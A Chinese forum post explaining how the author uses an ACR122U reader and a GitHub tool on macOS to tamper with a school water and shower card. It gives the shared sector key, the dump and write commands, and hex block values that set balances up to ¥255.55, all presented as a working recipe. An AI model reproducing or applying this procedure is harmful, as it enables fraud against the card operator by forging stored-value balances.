Refer:https://www.52pojie.cn/thread-602833-1-1.html
这只是一个经验的分享!
读了论坛大佬的文章,在某宝入手了 ACR122U。就是为了改个水卡啦。
由于我的本本系统不是 Windows,给 MacBook 装 Windows 自己不是很情愿。理论上来说 *nix 系统出了游戏外,其他的都能取代 Windows 吧。*nix 很受极客玩家的青睐的嘛。
唯一缺少的就是
- ACR122U Reader & Writer on macOS
https://github.com/mdeverdelhan/ACR122U-reader-writer
我在 GitHub 上找到了一位大佬写的读写程序,通过上面的仓库地址 Clone 后打包。README.md 中写了安装和使用的教程。
由于在 macOS 下没有破解密钥的软件,所以呢就在 Windows 读取出 dump 文件,扇区的最后 12 位是 key。神奇的发现了学校的水卡都是同一个密钥,这意味着我拿着解出来的密钥修改相应的扇区数据就行了。
我手上的水卡洗澡和喝水的分别是在 01 扇区 和 11 扇区,贴出我用到的数据吧。
[Shell] 纯文本查看 复制代码 Usage: java -jar acr122urw.jar [option]
Options:
-h, --help show this help message and exit
-d, --dump [KEYS...] dump Mifare Classic 1K cards using KEYS
-w, --write S B KEY DATA write DATA to sector S, block B of Mifare Classic 1K cards using KEY
Examples:
java -jar acr122urw.jar --dump FF00A1A0B000 FF00A1A0B001 FF00A1A0B099
java -jar acr122urw.jar --write 13 2 FF00A1A0B001 FFFFFFFFFFFF00000000060504030201
key:
956605146902
#
java -jar acr122urw.jar -d 956605146902
wash
Sector 01 block 00
Sector 01 block 02
¥20.00
B0D7D007002800000005050000FA3351
#
java -jar acr122urw.jar -w 01 00 956605146902 B0D7D007002800000005050000FA3351
java -jar acr122urw.jar -w 01 02 956605146902 B0D7D007002800000005050000FA3351
¥25.55
7304FB0900FB00000005050000FA8474
¥255.55
9036D36300C900000005050000FA25A1
#
java -jar acr122urw.jar -w 01 00 956605146902 9036D36300C900000005050000FA25A1
java -jar acr122urw.jar -w 01 02 956605146902 9036D36300C900000005050000FA25A1
drink
Sector 11 block 00
Sector 11 block 02
¥20
DED7D00700280000003A3A0000C533BD
#
java -jar acr122urw.jar -w 11 00 956605146902 DED7D00700280000003A3A0000C533BD
java -jar acr122urw.jar -w 11 02 956605146902 DED7D00700280000003A3A0000C533BD
唯一麻烦的就是根据金额算出相应的十六进制数有点儿费时间了,这个仅供非 Windows 平台用户参考。 |